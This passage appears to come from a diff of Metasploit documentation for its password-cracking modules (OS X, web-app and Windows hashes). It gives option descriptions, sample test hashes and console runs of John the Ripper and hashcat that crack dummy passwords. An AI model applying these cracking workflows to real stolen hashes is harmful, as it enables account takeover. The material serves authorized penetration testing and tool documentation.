[*] Cracking Command: /usr/sbin/john --session=BdToxfX9 --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=PBKDF2-HMAC-SHA512 --wordlist=/tmp/jtrtmp20190531-30487-7w6deh --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-30487-6zp8aw
Using default input encoding: UTF-8
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
1g 0:00:00:00 DONE (2019-05-31 16:03) 9.090g/s 290.9p/s 290.9c/s 290.9C/s test3:::..Thales
Use the "--show --format=PBKDF2-HMAC-SHA512" options to display all of the cracked passwords reliably
Session completed
[*] Cracking PBKDF2-HMAC-SHA512 hashes in normal mode
[*] Cracking Command: /usr/sbin/john --session=BdToxfX9 --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=PBKDF2-HMAC-SHA512 --max-run-time=60 /tmp/hashes_tmp20190531-30487-6zp8aw
Using default input encoding: UTF-8
[*] Cracking PBKDF2-HMAC-SHA512 hashes in incremental mode...
[*] Cracking Command: /usr/sbin/john --session=BdToxfX9 --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=PBKDF2-HMAC-SHA512 --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-30487-6zp8aw
Using default input encoding: UTF-8
[*] Cracking PBKDF2-HMAC-SHA512 hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=BdToxfX9 --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=PBKDF2-HMAC-SHA512 --wordlist=/tmp/jtrtmp20190531-30487-7w6deh --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-30487-6zp8aw
Using default input encoding: UTF-8
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1398 xsha xsha_buddahh buddahh Single
1399 xsha xsha_mama mama Already Cracked/POT
1401 xsha512 xsha512_password password Single
1402 xsha512 xsha512_hashcat hashcat Single
1403 PBKDF2-HMAC-SHA512 pbkdf2_hashcat hashcat Single
[*] Auxiliary module execution completed
resource (hashes_hashcat.rb)> creds
Credentials
===========
host origin service public private realm private_type JtR Format
---- ------ ------- ------ ------- ----- ------------ ----------
xsha_buddahh 7E4F6138BE21EF6A61365A4D3270DAD24A6544EE188ED422 Nonreplayable hash xsha
xsha_mama 3063D72395EB1A92D9BA9B8C2DF4074A081EDD1954E6B2BA Nonreplayable hash xsha
xsha_hashcat 1430823483d07626ef8be3fda2ff056d0dfd818dbfe47683 Nonreplayable hash xsha
xsha512_password 229499e73f6ff50fbd76fa1a0b11fe10964b51b57ee0bc7ca29a5fdccaf264e132eb682abeb40a3513a1fe26397ddcd1b5d0161e5e3ff308377994f4bed4172efcc25f8a Nonreplayable hash xsha512
xsha512_hashcat 648742485c9b0acd786a233b2330197223118111b481abfa0ab8b3e8ede5f014fc7c523991c007db6882680b09962d16fd9c45568260531bdb34804a5e31c22b4cfeb32d Nonreplayable hash xsha512
pbkdf2_hashcat $ml$35460$93a94bd24b5de64d79a5e49fa372827e739f4d7b6975c752c9a0ff1e5cf72e05$752351df64dd2ce9dc9c64a72ad91de6581a15c19176266b44d98919dfa81f0f96cbcb20a1ffb400718c20382030f637892f776627d34e021bad4f81b7de8222 Nonreplayable hash PBKDF2-HMAC-SHA512
xsha_mama mama Password
xsha_buddahh buddahh Password
xsha512_password password Password
xsha512_hashcat hashcat Password
pbkdf2_hashcat hashcat Password
[*] Starting persistent handler(s)...
```
### Hashcat
We'll set `ITERATION_TIMEOUT 60` for a quick crack, and `ShowCommand true` for easy debugging.
```
resource (hashes_hashcat.rb)> setg CUSTOM_WORDLIST /tmp/wordlist
CUSTOM_WORDLIST => /tmp/wordlist
resource (hashes_hashcat.rb)> setg ShowCommand true
ShowCommand => true
resource (hashes_hashcat.rb)> setg USE_DEFAULT_WORDLIST false
USE_DEFAULT_WORDLIST => false
resource (hashes_hashcat.rb)> setg DeleteTempFiles false
DeleteTempFiles => false
resource (hashes_hashcat.rb)> setg USE_CREDS false
USE_CREDS => false
resource (hashes_hashcat.rb)> setg USE_DB_INFO false
USE_DB_INFO => false
resource (hashes_hashcat.rb)> setg USE_HOSTNAMES false
USE_HOSTNAMES => false
resource (hashes_hashcat.rb)> setg USE_ROOT_WORDS false
USE_ROOT_WORDS => false
resource (hashes_hashcat.rb)> setg ITERATION_TIMEOUT 60
ITERATION_TIMEOUT => 60
resource (hashes_hashcat.rb)> use auxiliary/analyze/crack_osx
resource (hashes_hashcat.rb)> set action hashcat
action => hashcat
resource (hashes_hashcat.rb)> run
[+] hashcat Version Detected: v5.1.0
[*] Hashes Written out to /tmp/hashes_tmp20190531-31439-ulynqs
[*] Wordlist file written out to /tmp/jtrtmp20190531-31439-1bcms0z
[*] Checking xsha hashes already cracked...
[*] Cracking xsha hashes in incremental mode...
[*] Cracking Command: /usr/bin/hashcat --session=YpmTr019 --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=122 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-31439-ulynqs
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking xsha hashes in wordlist mode...
[*] Cracking Command: /usr/bin/hashcat --session=YpmTr019 --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=122 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-31439-ulynqs /tmp/jtrtmp20190531-31439-1bcms0z
nvmlDeviceGetFanSpeed(): Not Supported
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1421 xsha xsha_buddahh buddahh Wordlist
1422 xsha xsha_mama mama Already Cracked/POT
1423 xsha xsha_hashcat hashcat Wordlist
[*] Checking xsha512 hashes already cracked...
[*] Cracking xsha512 hashes in incremental mode...
[*] Cracking Command: /usr/bin/hashcat --session=HNDjhJcJ --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=1722 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-31439-ulynqs
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking xsha512 hashes in wordlist mode...
[*] Cracking Command: /usr/bin/hashcat --session=HNDjhJcJ --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=1722 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-31439-ulynqs /tmp/jtrtmp20190531-31439-1bcms0z
nvmlDeviceGetFanSpeed(): Not Supported
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1421 xsha xsha_buddahh buddahh Wordlist
1422 xsha xsha_mama mama Already Cracked/POT
1423 xsha xsha_hashcat hashcat Wordlist
1424 xsha512 xsha512_password password Wordlist
1425 xsha512 xsha512_hashcat hashcat Wordlist
[*] Checking PBKDF2-HMAC-SHA512 hashes already cracked...
[*] Cracking PBKDF2-HMAC-SHA512 hashes in incremental mode...
[*] Cracking Command: /usr/bin/hashcat --session=Tnilqjei --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=7100 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-31439-ulynqs
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking PBKDF2-HMAC-SHA512 hashes in wordlist mode...
[*] Cracking Command: /usr/bin/hashcat --session=Tnilqjei --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=7100 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-31439-ulynqs /tmp/jtrtmp20190531-31439-1bcms0z
nvmlDeviceGetFanSpeed(): Not Supported
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1421 xsha xsha_buddahh buddahh Wordlist
1422 xsha xsha_mama mama Already Cracked/POT
1423 xsha xsha_hashcat hashcat Wordlist
1424 xsha512 xsha512_password password Wordlist
1425 xsha512 xsha512_hashcat hashcat Wordlist
1426 PBKDF2-HMAC-SHA512 pbkdf2_hashcat hashcat Wordlist
[*] Auxiliary module execution completed
resource (hashes_hashcat.rb)> creds
Credentials
===========
host origin service public private realm private_type JtR Format
---- ------ ------- ------ ------- ----- ------------ ----------
xsha_buddahh 7E4F6138BE21EF6A61365A4D3270DAD24A6544EE188ED422 Nonreplayable hash xsha
xsha_mama 3063D72395EB1A92D9BA9B8C2DF4074A081EDD1954E6B2BA Nonreplayable hash xsha
xsha_hashcat 1430823483d07626ef8be3fda2ff056d0dfd818dbfe47683 Nonreplayable hash xsha
xsha512_password 229499e73f6ff50fbd76fa1a0b11fe10964b51b57ee0bc7ca29a5fdccaf264e132eb682abeb40a3513a1fe26397ddcd1b5d0161e5e3ff308377994f4bed4172efcc25f8a Nonreplayable hash xsha512
xsha512_hashcat 648742485c9b0acd786a233b2330197223118111b481abfa0ab8b3e8ede5f014fc7c523991c007db6882680b09962d16fd9c45568260531bdb34804a5e31c22b4cfeb32d Nonreplayable hash xsha512
pbkdf2_hashcat $ml$35460$93a94bd24b5de64d79a5e49fa372827e739f4d7b6975c752c9a0ff1e5cf72e05$752351df64dd2ce9dc9c64a72ad91de6581a15c19176266b44d98919dfa81f0f96cbcb20a1ffb400718c20382030f637892f776627d34e021bad4f81b7de8222 Nonreplayable hash PBKDF2-HMAC-SHA512
xsha_mama mama Password
xsha_hashcat hashcat Password
xsha_buddahh buddahh Password
xsha512_hashcat hashcat Password
xsha512_password password Password
pbkdf2_hashcat hashcat Password
```
@@ -0,0 +1,417 @@
## Vulnerable Application
This module attempts to use a password cracker to decode Webapps
based password hashes, such as:
* `atlassian` based passwords
* `phpass` based passwords (wordpress, joomla, phpBB3)
* `mediawiki` based passwords
| Common | John | Hashcat |
|-----------|------------------|-------- |
| atlassian | PBKDF2-HMAC-SHA1 | 12001 |
| mediawiki | mediawiki | 3711 |
| phpass | phpass | 400 |
Sources of hashes can be found here:
[source](https://openwall.info/wiki/john/sample-hashes), [source2](http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats)
## Verification Steps
1. Have at least one user with an `atlassian`, `mediawiki`, or `phpass` password hash in the database
2. Start msfconsole
3. Do: ```use auxiliary/analyze/crack_webapps```
4. Do: set cracker of choice
5. Do: ```run```
6. You should hopefully crack a password.
## Actions
**john**
Use john the ripper (default).
**hashcat**
Use hashcat.
## Options
**ATLASSIAN**
Crack atlassian hashes. Default is `true`.
**CONFIG**
The path to a John config file (JtR option: `--config`). Default is `metasploit-framework/data/john.conf`
**CRACKER_PATH**
The absolute path to the cracker executable. Default behavior is to search `path`.
**CUSTOM_WORDLIST**
The path to an optional custom wordlist. This file is added to the new wordlist which may include the other
`USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it.
**DeleteTempFiles**
This option will prevent deletion of the wordlist and file containing hashes. This may be useful for
running the hashes through john if it wasn't cracked, or for debugging. Default is `false`.
**Fork**
This option will set how many forks to use on john the ripper. Default is `1` (no forking).
**INCREMENTAL**
Run the cracker in incremental mode. Default is `true`
**ITERATION_TIMEOUT**
The max-run-time for each iteration of cracking.
**KORELOGIC**
Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower).
Default is `false`.
**MEDIAWIKI**
Crack mediawiki hashes. Default is `true`.
**MUTATE**
Apply common mutations to the Wordlist (SLOW). Mutations are:
* `'@' => 'a'`
* `'0' => 'o'`
* `'3' => 'e'`
* `'$' => 's'`
* `'7' => 't'`
* `'1' => 'l'`
* `'5' => 's'`
Default is `false`.
**PHPASS**
Crack PHPASS hashes. Default is `true`.
**POT**
The path to a John POT file (JtR option: `--pot`) to use instead. The `pot` file is the data file which
records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`.
Default is `~/.msf4/john.pot`.
**SHOWCOMMAND**
Show the command being used run from the command line for debugging. Default is `false`
**USE_CREDS**
Use existing credential data saved in the database. Default is `true`.
**USE_DB_INFO**
Use looted database schema info to seed the wordlist. This includes the Database Name, each Table Name,
and each Column Name. If the DB is MSSQL, the Instance Name is also used. Default is `true`.
**USE_DEFAULT_WORDLIST**
Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`. Default is
`true`.
**USE_HOSTNAMES**
Seed the wordlist with hostnames from the workspace. Default is `true`.
**USE_ROOT_WORDS**
Use the Common Root Words Wordlist in `metasploit-framework/data/wordlists/common_roots.txt`. Default
is true.
**WORDLIST**
Run the cracker in dictionary/wordlist mode. Default is `true`
## Scenarios
### Sample Data
The following is data which can be used to test integration, including adding entries
to a wordlist and pot file to test various aspects of the cracker.
```
echo "" > /root/.msf4/john.pot
echo "fakeV6xlcXxRM:55" >> /root/.msf4/john.pot
echo "\$1\$O3JMY.Tw\$AdLnLjQ/5jXF9.fakegHv/:password" >> /root/.msf4/john.pot
echo "test" > /tmp/wordlist
echo "password" >> /tmp/wordlist
echo "toto" >> /tmp/wordlist
echo "hashcat" >> /tmp/wordlist
creds add user:mediawiki_qwerty hash:$B$113$de2874e33da25313d808d2a8cbf31485 jtr:mediawiki
creds add user:mediawiki_hashcat hash:$B$56668501$0ce106caa70af57fd525aeaf80ef2898 jtr:mediawiki
creds add user:phpass_p_hashcat hash:$P$984478476IagS59wHZvyQMArzfx58u. jtr:phpass
creds add user:phpass_h_hashcat hash:$H$984478476IagS59wHZvyQMArzfx58u. jtr:phpass
creds add user:atlassian_hashcat hash:{PKCS5S2}NzIyNzM0NzY3NTIwNjI3MdDDis7wPxSbSzfFqDGf7u/L00kSEnupbz36XCL0m7wa jtr:PBKDF2-HMAC-SHA1
creds add user:atlassian_secret hash:{PKCS5S2}/eWKocWoBMiEN6aA2SQMm56/qLdCVW0fmGF4zF3CzeyaoZUpW1tE3R/fxnYjGbza jtr:PBKDF2-HMAC-SHA1
creds add user:atlassian_admin hash:{PKCS5S2}8WEZjkCbLWysbcbZ5PRgMbdJgJOhkzRT3y1jxOqke2z1Zr79q8ypugFQEYaMoIZt jtr:PBKDF2-HMAC-SHA1
```
### John the Ripper
We'll set `ITERATION_TIMEOUT 60` for a quick crack, and `ShowCommand true` for easy debugging.
```
resource (hashes_hashcat.rb)> setg CUSTOM_WORDLIST /tmp/wordlist
CUSTOM_WORDLIST => /tmp/wordlist
resource (hashes_hashcat.rb)> setg ShowCommand true
ShowCommand => true
resource (hashes_hashcat.rb)> setg USE_DEFAULT_WORDLIST false
USE_DEFAULT_WORDLIST => false
resource (hashes_hashcat.rb)> setg DeleteTempFiles false
DeleteTempFiles => false
resource (hashes_hashcat.rb)> setg USE_CREDS false
USE_CREDS => false
resource (hashes_hashcat.rb)> setg USE_DB_INFO false
USE_DB_INFO => false
resource (hashes_hashcat.rb)> setg USE_HOSTNAMES false
USE_HOSTNAMES => false
resource (hashes_hashcat.rb)> setg USE_ROOT_WORDS false
USE_ROOT_WORDS => false
resource (hashes_hashcat.rb)> setg ITERATION_TIMEOUT 60
ITERATION_TIMEOUT => 60
resource (hashes_hashcat.rb)> use auxiliary/analyze/crack_webapps
resource (hashes_hashcat.rb)> run
[+] john Version Detected: 1.9.0-jumbo-1 OMP
[*] Hashes Written out to /tmp/hashes_tmp20190531-3775-yc870y
[*] Wordlist file written out to /tmp/jtrtmp20190531-3775-5tikjk
[*] Checking PBKDF2-HMAC-SHA1 hashes already cracked...
[*] Cracking PBKDF2-HMAC-SHA1 hashes in single mode...
[*] Cracking Command: /usr/sbin/john --session=UEKq1EAc --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=PBKDF2-HMAC-SHA1 --wordlist=/tmp/jtrtmp20190531-3775-5tikjk --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-3775-yc870y
Using default input encoding: UTF-8
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
1g 0:00:00:03 DONE (2019-05-31 18:59) 0.2564g/s 4375p/s 8883c/s 8883C/s password11908..t1900
Use the "--show --format=PBKDF2-HMAC-SHA1" options to display all of the cracked passwords reliably
Session completed
[*] Cracking PBKDF2-HMAC-SHA1 hashes in normal mode
[*] Cracking Command: /usr/sbin/john --session=UEKq1EAc --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=PBKDF2-HMAC-SHA1 --max-run-time=60 /tmp/hashes_tmp20190531-3775-yc870y
Using default input encoding: UTF-8
Will run 8 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
2g 0:00:00:00 DONE 1/3 (2019-05-31 18:59) 50.00g/s 3175p/s 3200c/s 3200C/s atlassian_admin..Atlassianatlassian
Use the "--show --format=PBKDF2-HMAC-SHA1" options to display all of the cracked passwords reliably
Session completed
[*] Cracking PBKDF2-HMAC-SHA1 hashes in incremental mode...
[*] Cracking Command: /usr/sbin/john --session=UEKq1EAc --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=PBKDF2-HMAC-SHA1 --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-3775-yc870y
Using default input encoding: UTF-8
[*] Cracking PBKDF2-HMAC-SHA1 hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=UEKq1EAc --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=PBKDF2-HMAC-SHA1 --wordlist=/tmp/jtrtmp20190531-3775-5tikjk --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-3775-yc870y
Using default input encoding: UTF-8
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1535 PBKDF2-HMAC-SHA1 atlassian_hashcat hashcat Single
1536 PBKDF2-HMAC-SHA1 atlassian_secret secret Normal
1537 PBKDF2-HMAC-SHA1 atlassian_admin admin Normal
[*] Checking phpass hashes already cracked...
[*] Cracking phpass hashes in single mode...
[*] Cracking Command: /usr/sbin/john --session=ELA5O5SC --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=phpass --wordlist=/tmp/jtrtmp20190531-3775-5tikjk --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-3775-yc870y
Using default input encoding: UTF-8
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
2g 0:00:00:00 DONE (2019-05-31 18:59) 100.0g/s 38400p/s 38400c/s 76800C/s test3:::..tere9
Use the "--show --format=phpass" options to display all of the cracked passwords reliably
Session completed
[*] Cracking phpass hashes in normal mode
[*] Cracking Command: /usr/sbin/john --session=ELA5O5SC --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=phpass --max-run-time=60 /tmp/hashes_tmp20190531-3775-yc870y
Using default input encoding: UTF-8
Will run 8 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
1g 0:00:00:00 DONE 1/3 (2019-05-31 18:59) 100.0g/s 19200p/s 19200c/s 19200C/s phpass_p_hashcat..tachsah_p_ssaphptachsaH
Use the "--show --format=phpass" options to display all of the cracked passwords reliably
Session completed
[*] Cracking phpass hashes in incremental mode...
[*] Cracking Command: /usr/sbin/john --session=ELA5O5SC --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=phpass --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-3775-yc870y
Using default input encoding: UTF-8
[*] Cracking phpass hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=ELA5O5SC --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=phpass --wordlist=/tmp/jtrtmp20190531-3775-5tikjk --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-3775-yc870y
Using default input encoding: UTF-8
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1533 phpass phpass_p_hashcat hashcat Normal
1534 phpass phpass_h_hashcat hashcat Single
1535 PBKDF2-HMAC-SHA1 atlassian_hashcat hashcat Single
1536 PBKDF2-HMAC-SHA1 atlassian_secret secret Normal
1537 PBKDF2-HMAC-SHA1 atlassian_admin admin Normal
[*] Checking mediawiki hashes already cracked...
[*] Cracking mediawiki hashes in single mode...
[*] Cracking Command: /usr/sbin/john --session=D6d9Rjcl --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mediawiki --wordlist=/tmp/jtrtmp20190531-3775-5tikjk --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-3775-yc870y
Using default input encoding: UTF-8
Warning: no OpenMP support for this hash type, consider --fork=8
Press 'q' or Ctrl-C to abort, almost any other key for status
1g 0:00:00:00 DONE (2019-05-31 18:59) 50.00g/s 853300p/s 1021Kc/s 1021KC/s thales1913..t1900
Use the "--show" option to display all of the cracked passwords reliably
Session completed
[*] Cracking mediawiki hashes in normal mode
[*] Cracking Command: /usr/sbin/john --session=D6d9Rjcl --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mediawiki --max-run-time=60 /tmp/hashes_tmp20190531-3775-yc870y
Using default input encoding: UTF-8
Warning: no OpenMP support for this hash type, consider --fork=8
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
1g 0:00:00:00 DONE 1/3 (2019-05-31 18:59) 100.0g/s 4800p/s 4800c/s 4800C/s mediawiki_qwerty..mediawikimediawiki_qwertymediawikimediawiki_qwerty
Use the "--show" option to display all of the cracked passwords reliably
Session completed
[*] Cracking mediawiki hashes in incremental mode...
[*] Cracking Command: /usr/sbin/john --session=D6d9Rjcl --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mediawiki --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-3775-yc870y
Using default input encoding: UTF-8
[*] Cracking mediawiki hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=D6d9Rjcl --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mediawiki --wordlist=/tmp/jtrtmp20190531-3775-5tikjk --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-3775-yc870y
Using default input encoding: UTF-8
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1531 mediawiki mediawiki_qwerty qwerty Normal
1532 mediawiki mediawiki_hashcat hashcat Single
1533 phpass phpass_p_hashcat hashcat Normal
1534 phpass phpass_h_hashcat hashcat Single
1535 PBKDF2-HMAC-SHA1 atlassian_hashcat hashcat Single
1536 PBKDF2-HMAC-SHA1 atlassian_secret secret Normal
1537 PBKDF2-HMAC-SHA1 atlassian_admin admin Normal
[*] Auxiliary module execution completed
resource (hashes_hashcat.rb)> creds
Credentials
===========
host origin service public private realm private_type JtR Format
---- ------ ------- ------ ------- ----- ------------ ----------
mediawiki_hashcat hashcat Password
phpass_p_hashcat hashcat Password
phpass_h_hashcat hashcat Password
atlassian_hashcat hashcat Password
mediawiki_qwerty $B$113$de2874e33da25313d808d2a8cbf31485 Nonreplayable hash mediawiki
mediawiki_hashcat $B$56668501$0ce106caa70af57fd525aeaf80ef2898 Nonreplayable hash mediawiki
phpass_p_hashcat $P$984478476IagS59wHZvyQMArzfx58u. Nonreplayable hash phpass
phpass_h_hashcat $H$984478476IagS59wHZvyQMArzfx58u. Nonreplayable hash phpass
atlassian_hashcat {PKCS5S2}NzIyNzM0NzY3NTIwNjI3MdDDis7wPxSbSzfFqDGf7u/L00kSEnupbz36XCL0m7wa Nonreplayable hash PBKDF2-HMAC-SHA1
atlassian_secret {PKCS5S2}/eWKocWoBMiEN6aA2SQMm56/qLdCVW0fmGF4zF3CzeyaoZUpW1tE3R/fxnYjGbza Nonreplayable hash PBKDF2-HMAC-SHA1
atlassian_admin {PKCS5S2}8WEZjkCbLWysbcbZ5PRgMbdJgJOhkzRT3y1jxOqke2z1Zr79q8ypugFQEYaMoIZt Nonreplayable hash PBKDF2-HMAC-SHA1
atlassian_secret secret Password
atlassian_admin admin Password
mediawiki_qwerty qwerty Password
```
### Hashcat
We'll set `ITERATION_TIMEOUT 60` for a quick crack, and `ShowCommand true` for easy debugging.
```
resource (hashes_hashcat.rb)> setg CUSTOM_WORDLIST /tmp/wordlist
CUSTOM_WORDLIST => /tmp/wordlist
resource (hashes_hashcat.rb)> setg ShowCommand true
ShowCommand => true
resource (hashes_hashcat.rb)> setg USE_DEFAULT_WORDLIST false
USE_DEFAULT_WORDLIST => false
resource (hashes_hashcat.rb)> setg DeleteTempFiles false
DeleteTempFiles => false
resource (hashes_hashcat.rb)> setg USE_CREDS false
USE_CREDS => false
resource (hashes_hashcat.rb)> setg USE_DB_INFO false
USE_DB_INFO => false
resource (hashes_hashcat.rb)> setg USE_HOSTNAMES false
USE_HOSTNAMES => false
resource (hashes_hashcat.rb)> setg USE_ROOT_WORDS false
USE_ROOT_WORDS => false
resource (hashes_hashcat.rb)> setg ITERATION_TIMEOUT 60
ITERATION_TIMEOUT => 60
resource (hashes_hashcat.rb)> use auxiliary/analyze/crack_webapps
resource (hashes_hashcat.rb)> set action hashcat
action => hashcat
resource (hashes_hashcat.rb)> run
[+] hashcat Version Detected: v5.1.0
[*] Hashes Written out to /tmp/hashes_tmp20190531-3903-kn244m
[*] Wordlist file written out to /tmp/jtrtmp20190531-3903-r8ligw
[*] Checking PBKDF2-HMAC-SHA1 hashes already cracked...
[*] Cracking PBKDF2-HMAC-SHA1 hashes in incremental mode...
[*] Cracking Command: /usr/bin/hashcat --session=hWnnDYym --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=12001 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-3903-kn244m
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking PBKDF2-HMAC-SHA1 hashes in wordlist mode...
[*] Cracking Command: /usr/bin/hashcat --session=hWnnDYym --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=12001 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-3903-kn244m /tmp/jtrtmp20190531-3903-r8ligw
nvmlDeviceGetFanSpeed(): Not Supported
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1549 PBKDF2-HMAC-SHA1 atlassian_hashcat hashcat Wordlist
[*] Checking phpass hashes already cracked...
[*] Cracking phpass hashes in incremental mode...
[*] Cracking Command: /usr/bin/hashcat --session=dZ7kuaal --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=400 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-3903-kn244m
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking phpass hashes in wordlist mode...
[*] Cracking Command: /usr/bin/hashcat --session=dZ7kuaal --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=400 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-3903-kn244m /tmp/jtrtmp20190531-3903-r8ligw
nvmlDeviceGetFanSpeed(): Not Supported
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1547 phpass phpass_p_hashcat hashcat Wordlist
1549 PBKDF2-HMAC-SHA1 atlassian_hashcat hashcat Wordlist
[*] Checking mediawiki hashes already cracked...
[*] Cracking mediawiki hashes in incremental mode...
[*] Cracking Command: /usr/bin/hashcat --session=nasHCHQx --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=3711 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-3903-kn244m
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking mediawiki hashes in wordlist mode...
[*] Cracking Command: /usr/bin/hashcat --session=nasHCHQx --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=3711 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-3903-kn244m /tmp/jtrtmp20190531-3903-r8ligw
nvmlDeviceGetFanSpeed(): Not Supported
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1546 mediawiki mediawiki_hashcat hashcat Wordlist
1547 phpass phpass_p_hashcat hashcat Wordlist
1549 PBKDF2-HMAC-SHA1 atlassian_hashcat hashcat Wordlist
[*] Auxiliary module execution completed
resource (hashes_hashcat.rb)> creds
Credentials
===========
host origin service public private realm private_type JtR Format
---- ------ ------- ------ ------- ----- ------------ ----------
phpass_h_hashcat $H$984478476IagS59wHZvyQMArzfx58u. Nonreplayable hash phpass
mediawiki_qwerty $B$113$de2874e33da25313d808d2a8cbf31485 Nonreplayable hash mediawiki
mediawiki_hashcat $B$56668501$0ce106caa70af57fd525aeaf80ef2898 Nonreplayable hash mediawiki
mediawiki_hashcat hashcat Password
atlassian_admin {PKCS5S2}8WEZjkCbLWysbcbZ5PRgMbdJgJOhkzRT3y1jxOqke2z1Zr79q8ypugFQEYaMoIZt Nonreplayable hash PBKDF2-HMAC-SHA1
phpass_p_hashcat hashcat Password
atlassian_hashcat hashcat Password
atlassian_hashcat {PKCS5S2}NzIyNzM0NzY3NTIwNjI3MdDDis7wPxSbSzfFqDGf7u/L00kSEnupbz36XCL0m7wa Nonreplayable hash PBKDF2-HMAC-SHA1
atlassian_secret {PKCS5S2}/eWKocWoBMiEN6aA2SQMm56/qLdCVW0fmGF4zF3CzeyaoZUpW1tE3R/fxnYjGbza Nonreplayable hash PBKDF2-HMAC-SHA1
phpass_p_hashcat $P$984478476IagS59wHZvyQMArzfx58u. Nonreplayable hash phpass
```
@@ -0,0 +1,354 @@
## Vulnerable Application
This module attempts to use a password cracker to decode Windows
based password hashes, such as:
* `LANMAN` based passwords
